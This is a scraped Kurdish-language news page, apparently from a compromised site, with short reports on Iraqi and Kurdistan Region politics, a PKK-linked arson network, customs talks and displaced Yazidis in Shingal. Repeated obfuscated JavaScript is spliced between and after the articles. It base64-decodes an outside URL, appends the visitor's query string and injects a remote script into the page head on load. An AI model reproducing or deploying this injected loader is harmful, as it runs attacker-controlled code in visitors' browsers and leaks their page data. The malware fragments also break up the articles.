a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆكێ هەرێما كوردستانێ، نێچیرڤان بارزانی راگەهاند: پشتەڤانیێ ل دادوەر فایق زێدان، سەرۆكێ جڤاتا بلند یا دادوەریێ ل ئیراقێ دكەن و گۆت » بزاڤێن وی یێن مەزن خزمەتا وی یا دلسۆزانە بۆ دادكەهێ و وەلاتی بلند د هەلسەنگینین».
سەرۆكێ هەرێما كوردستانێ د نڤیسینەكێدا ل تۆرا جڤاكییا (ئێكس) بەلاڤكر» هەر ب ئارمانج گرتن، یان تانە و داخۆیانییەكێ رەت ەین كو زیانێ ب فایق زێدانێ بگەهینیت یان ل پێگەهێ وی كێم بكەت».
پشتەڤانییا سەرۆكێ هەرێما كوردستانێ بۆ سەرۆكێ جڤاتا بلند یا دادوەریێ ل ئیراقێ ، كو هەر ژ سالا 2017 د ئەوی پۆستی دایە، پشتی ئەوێ چەندێ هات كو مایك وولتز، ئەندامێ جڤاتا نوونەرێن ئەمریكی ژ حزبا كۆماری پڕۆژە قانوونەك پێشكێشكری بۆ شەرمزاركرنا فایق زێدانی ب تۆمەتا هاریكاریكرنا ئیرانێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ راگەهاند: تۆڕەكا سەر ب پەكەكێ، یەكەیا 70 و دژە تیرۆرا سلێمانیێ د دەمێ بۆریدا ئاگر ل چەندین مۆل و بازاڕان ل هەرێما كوردستانێ بەردابوو، دیاركر ژی ئارمانجا وان ب ئەڤی كاری تێكدانا سەقامگیرییا هەرێما كوردستانێ و لاوازكرنا ئابۆرێ وێ بوو.
دوهی دوشەمبی 1/7/2024، میقداد میری، پەیڤدارێ وەزارەتا ناڤخوەییا ئیرا د كۆنفرانسەكێ رۆژنامەڤانیێ هەڤپشكدا ل گەل د. هێمن میرانی، رێڤەبەرێ گشتیێ دیوانا وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ، راگەهاند» تۆرەكا سەر ب پارتییا كاركەرێن كوردستانێ (پەكەكە) و دو كەسێن سەر ب یەكەیا 70 و دژە تیرۆرا سلێمانیێ، ل پشت هەموو وان ئاگربەربوونا بوون كو ل دەمێ بۆری ل بازاڕێن هەرێما كوردستانێ و كەركووكێ كەفتین».
پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ رۆهنكر كو ژ ئەنجامێن ڤەكۆلینێن وان كو ب هەماهەنگی ل گەل دەزگەهێن ئەمنی یێن هەرێما كوردستانێ ئەنجامداین، دیاربوو، ئارمانجا ئەوان كەسان ژ سوتنا بازاڕێ قەیسەری ل كەركووكێ، بازاڕێ قەیسەری ل هەولێرێ، بازاڕێ لەنگەی ل هەولێرێ، بازاڕێ چەلێ ل دهۆكێ و چەندین جهێن دی ل هەرێما كوردستانێ، لاوازكرنا ئابۆرێ ئەوان پارێزگەهان بوو، چونكە زیانێن ئابۆریی یێن ئەوان ئاگربەربوونان زێدەتر ژ 300 ملیۆن دۆلاران بوو، هەروەسا ئارمانجەكا دی، تێكدانا سەقامكیرییا هەرێما كوردستانێ بوو».
پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ گۆت ژی» تۆمەتباران دانپێدان ب تاوانێن خوە كرییە و پلان دانابوو ل دەمێ داهاتی هێرشێ بكەنە سەر چەندین جهێن دی ل بەغدا و پارێزگەهێن دی ل ئیراقێ، هەروەسا چەندین جهان ل وەلاتێن دەوروبەر، بەلێ هێزێن ئەمنی ل ئیراقێ و هەرێما كوردستانێ ب هەماهەنگی ل گەل هەدو، شیان پانێن وان ژناڤ ببەن» .
دیاركر ژی» د دەمێ هەردو سالێن 2023 و 2024 ئەوی گرۆپی هەر ئێك ژ بازاڕێ لەنگەی ل هەولێرێ (دو جاران)، كوگایەك ل قۆشتەبە، بازاڕێ قەیسەری ل هەولێرێ، بازاڕێ چەلێ ل دهۆكێ و چەندین دوكان و جهێن دی یێن سوتین».
د پشكەكا دی یا داخۆیانیێن خوەدا، پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ بەرچاڤكر» ل دەمێ دەستەسەركرنا تۆمەتباران، دەست ب سەر هەژمارەكا مادەیێن كیماوی ژی هاتە گرتن كو د هاریكار بوون ل گەل وان بۆ سوتنا بازاڕ و مۆلان ل هەرێما كوردستانێ».
ناڤبری ئاشكراكر ژی» ئارمانجەكا دی یا تۆرا سەر ب پەكەكێ و یەكەیا 70 و دژە تیرۆرا سلێمانیێ، پەقاندنا بۆرییا پەترۆلیی جەیهان بوو كو كەركووكێ ب توركیا ڤە گرێددەت».
ژ ئالیێ خوەڤە د. هێمن میرانی، رێڤەبەرێ گشتیێ دیوانا وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ ل دۆر ئەوان كەسێن بازاڕ ل هەولێر، دهۆك و كەركووكێ سوتین، گۆت » سێ ژ ئەوان تاوانباران یێن ل ڤێرێ، ئێك ژوان سەرپەرشتێ كاری بوو و ناڤێ وی (هونەر فەخرەدین ئەحمەد) و كارمەندێ یەكەیا 70 یە، یێ دی ناڤێ وی (محەمەد نەجات حەسەن) و ئەفسەرە ل دژە تیرۆرا ئێكەتییە، ئەو ژ ئالیێ پەكەكێ ڤە هاتبوونە تەجنیدكرن و كادرێن ئەمنی و لەشكری یێن پەكەكێ ژ قەندیل هاتبوو ل كفری و ل سلێمانیێ و ل سەنگەسەر راهێنان پێ كرینە بۆ ئەوێ چەندێ كارێن تیرۆرستی بكەن و نوك دەستێ دادپەروەریێ یێ گەهشتیێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆكێ حوكمەتا هەرێما كوردستانێ ل گەل پارێزگەرێ سلێمانیێ و قایمقامان قەزایێن سەر ب پارێزگەها سلێمانیێ كۆمبوو و راگەهاند: ئەوا د شیانێن مە دا بیت دێ كەین بۆ خزمەتكرنا زێدەتر ی خەلكێ خوەشتڤیێ سلێمانیێ و باشتركرنا خزمەتگوزاریێن گشتی ل ئەڤێ پارێزگەهێ.
مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ د سەرەدانا خوە یا دوهی ئێكشەمبی بۆ ارێزگەها هەلەبجە پشتی بەرێ بنیاتێ سایلۆیا هەلەبجە دانای، سەرەدانا هاڤینگەها ئەحمەد ئاوا كر و ل گەل كەسایەتیێن هەلەبجە، سەید سادق، پێنجوێن و شارەزوور كۆمبوو.
سەرۆكێ حوكمەتا هەرێما كوردستانێ د كۆمبوونا خوە دا ل گەل كەسایەتیێن پارێزگەها هەلەبجە، ئاماژە ب گرنگییا دەڤەرا هەورامان كر كو دیرۆكەكا دیار یا خەباتا گەلێ كوردستانێ یا هەی و دەڤەرەكا گەشتیارییا گرنگە.
سەرۆكێ حوكمەتا هەرێمێ راگەهاند» ئەم خزمەتكرنا خەلكێ كوردستانێ ب ئەركێ خوە یێ سەرەكی دزانین و دێ هەموو بزاڤان كەین ژ پێخەمەت زێدەتر گەشەپێدانا ئەڤێ دەڤەرێ و پێشڤەبرن ب كارنامەیا حوكمەتێ د بوارێ هەمەجركرنا ئابۆری و پەیداكرنا دەلیڤەیێن كاری بۆ گەنجێن مە».
سەرۆكێ حوكمەتا هەرێما كوردستانێ سەرەدانا ئاڤاهیێ پارێزگەها سلێمانیێ ژی كر و ل گەل هەڤال ئەبوبەكر، پارێزگەرێ سلێمانیێ و قایمقامێن ئەوی سنۆری كۆمبوو.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

وەزارەتا پلاندانا ئیراقێ راگەهاند: شاندێ هەرێما كوردستانێ و تیما حوكمەتا فیدرالی رێككەفتن بۆچوونەكا گشتگیر بۆ بجهئینانا سیاسەتا گۆمركی بدانن. هەروەسا بڕیار هاتە دان كار بهێتە كرن بۆ پێداچوونێ ب میكانیزمێن بجهئینانا قانوونا دەستەیا دەروازێن سنۆری و پێشنیاز بهێنە پێشكێشكرن بۆ ئەوێ چەندێ ئەو دەستەیە ئەركێ خوە بجهبینیت.
وەزارەتا پلندانانا ئیراقێ ئاماژەكر كو شاندێ هەرێما كوردستانێ و تیما حوكمەتا فیدرالی ل سەر كۆنووسا كۆمبوونا پێشتر رێككەفتن كو یا تایبەت بوو ب پێداچوونێ ب سیاسەتا گۆمركی ل دەروازێن سنۆری.
شاندێ هەرێما كوردستانێ پێكهاتبوو ژ وەزیرێ دارایی، وەزیرێ ناڤخوە و رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ.
سامال عەبدولرەحمان، رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ د داخۆنییەكا رۆژنامەڤانیدا گۆت » كۆمبوونیچن مە ل بەغدا د ئەرێنی بوون».
دهێتە زان ئەو كۆمبوونێن شاندێ هەرێمێ ل بەغدا ئەنجامداین تایبەت بوون ب ئەوێ چەندێ كا چاوان ژ نوكە و وێڤە بشێن گۆمركان ب هەڤپشكی بڕێڤەببەن، بەلێ هێشتا بڕیارا دووماهیێ نەهاتییە دان، ل دووڤ رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ، د كۆمبوونێدا بڕیار هاتە دان كۆمبوون د بەردەوام بن و ل دەمەكێ نێزیك بچنە دوبارە بچنە بەغدا، بۆ ئەوێ چەندێ رێككەفتن بهێتە كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

جێگرێ پارێزگارێ نەینەوا راگەهاند، بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ بۆ زڤڕینا ئاوارەیێن شنگالێ ناهێتە بجهئینان، چونكە هەتاكو رێككەفتنا شنگالێ نەهێتە بجهئینان، ئاوارە د بەرهەڤ نینن بزڤڕن، ژ بەر كو مەترسی ل سەر ژیانا وان یا هەی و رەوشا ئەمنی یا سەقامگیر نینە.
سیروان رۆژبەیانی، جێگرێ پارێزگارێ نەینەوا د داخۆیانییەكا رۆژنامەڤاندا گۆت: ئەم وەكو حوكمەتا خوەجهـ یا نەینەوا ل گەل ئەوێ چەندێ نە هەموو ئاوارە بزڤڕن بۆ سەر مال و حالێن خوە، بەلێ ل گەل ئەوێ چەندێ دا نینین ئاوارە د نوكە دا بزڤڕن، چونكە رەوشا ئەمنی یا ئارام نینە و د دەستێ ئیراقییان دا نینە، لەوما بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ دژی ئاوارەیان و برایێن ئێزدی هاتییە دەركرن و دخوازن ب زۆری ڤەگەرینن، بەلێ ژ بەركو زیانەكا مەزن گەهشتییە وان و نوكە ژی رۆژانە شنگال دهێتە تۆپبارانكرن، هەكە بزڤڕن دێ ژیانا وان دوبارە كەڤیتە د مەترسیێدا، لەوما ئەو ب خوە نازڤرن و مە ژی ل گەل حوكمەتا فیدرالی دوپاتی ل سەر ئەوێ چەندێ كرییە كو پێدڤییە رێككەفنا شنگالێ بهێتە بجهئینان».
سیروان رۆژبەیانی، جێگرێ پارێزگەرێ نەینەوا رۆهنكر ژی» هەكە رێككەفتنا شنگالێ بهێتە بجهئینان، رەوشا دەڤەرێ دێ گەلەك ژ پێشتر باشتر بیت و پێدڤییە قایمقامەكێ نوو بهێتە دانان و ئیدارەیەكا شەرعی بزڤریتە شنگالێ».
پتر گۆت » نوكە ئیدارەیەكا نەشەرعی ل شنگالێ یا هەی، كو ئەم رەفتارێ دگەلدا ناكەین، لەوما ئەم پێداگیریێ ل سەر بجهئینانا رێككەفتنا شنگالێ دكەین بۆ ئەوێ چەندێ كوردێن ئێزدی بزڤڕن بۆ سەر مال و حالێن خوە و بشێن ب ئارامی بزڤڕن و ئیدارەیەك رەفتارێ د گەلدا بكەت و خزمەتا وان بكەت و یا شەرعی بیت».
ئاماژەكر « كوردێن ئێزدی ب خوە ژ ترسێن داعشێ ین ئاوارە بووین و نوكە ئەو ب خوە نازڤرن بۆ شنگالێ ژ ئەگەرێ ئەوێ چەندێ رەوش یا ئارام نینە و رۆژانە ژ بەر پەكەكێ شنگال دهێتە تۆپبارانكرن، لەوما رەوشا ئەمنییا شنگالێ یا سەقامگیر نینە و بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ ناهێتە بجهئینان هەتا رەوشا شنگالێ ئارام نەبیت و رێككەفتنا شنگالێ نەهێتە بجهئینان، ژ بەر كو وەزارەتا كۆچ و كۆچبەرێن ئیراقێ هیچ بۆ ئەوان نەكرییە و ل شوونا كو هاریكارییا ئاوارەیان بكەت و رەوشا شنگالێ ئاسایی بكەت و ئەو هەموو هێزێن تێدا بهێنە دەركرن، دهێت فشارێ دكەت و ئەڤە ب هیچ شێوەیەكێ نابیت و ئاوارە قەبوول ناكەن ب وی شێوەی بزڤڕن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();